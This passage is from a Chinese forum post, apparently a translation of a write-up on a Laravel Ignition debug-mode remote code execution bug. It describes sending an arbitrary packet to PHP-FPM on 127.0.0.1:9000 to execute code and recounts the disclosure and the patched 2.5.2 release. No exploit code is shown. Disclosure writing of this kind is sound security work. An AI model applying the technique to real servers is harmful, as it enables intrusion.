1 2 7 . 0 . 0 . 1 : 9 0 0 0 。 这 样 我 们 就 可 以 向 P H P - F P M 发 送 一 个 任 意 数 据 包 ， 从 而 执 行 代 码 。 这 一 次 ， 在 我 们 的 目 标 上 成 功 地 进 行 了 利 用 。 我 们 在 2 0 2 0 年 1 1 月 1 6 日 在 G i t H u b 上 向 I g n i t i o n 的 维 护 者 报 告 了 这 个 b u g 以 及 一 个 补 丁 ， 第 二 天 就 发 布 了 一 个 新 的 版 本 （ 2 . 5 . 2 ） 。 由 于 它 是 L a r a v e l 的 一 个 r e q u i r e - d e v 依 赖 ， 我 们 希 望 在 这 个 日 期 之 后 安 装 的 每 个 实 例 都 是 安 全 的 。 参 考 文 献 ： h t t p s : / / w w w . a m b i o n i c s . i o / b l o g / l a r a v e l - d e b u g - r c e
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理